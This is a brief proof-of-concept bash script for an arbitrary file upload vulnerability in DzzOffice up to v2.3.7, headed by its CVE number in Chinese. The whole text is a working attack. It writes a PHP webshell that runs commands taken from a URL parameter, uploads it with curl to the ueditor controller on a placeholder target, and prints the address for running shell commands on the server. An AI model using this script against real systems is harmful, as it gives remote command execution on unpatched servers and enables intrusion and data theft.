CVE-2025-63695 DzzOffice 任意文件上传漏洞

#!/bin/bash # CVE-2025-63695 DzzOffice Arbitrary File Upload PoC # Target: DzzOffice <= v2.3.7 TARGET_URL="http://target.com" UPLOAD_PATH="/dzz/system/ueditor/php/controller.php" UPLOADED_SHELL="shell.php" # Create malicious PHP file (webshell) cat > /tmp/$UPLOADED_SHELL << 'EOF' <?php if(isset($_GET['cmd'])) { echo "<pre>"; $cmd = $_GET['cmd']; system($cmd); echo "</pre>"; } ?> EOF # Upload the malicious file echo "[*] Uploading malicious file..." curl -X POST "$TARGET_URL$UPLOAD_PATH" \ -F "upfile=@/tmp/$UPLOADED_SHELL" \ -F "action=uploadimage" \ -F "fileName=$UPLOADED_SHELL" echo "" echo "[*] If successful, access the shell at:" echo "[*] $TARGET_URL/dzz/org/dzzoffice/userdir/1/1/$UPLOADED_SHELL?cmd=whoami" # Cleanup rm -f /tmp/$UPLOADED_SHELL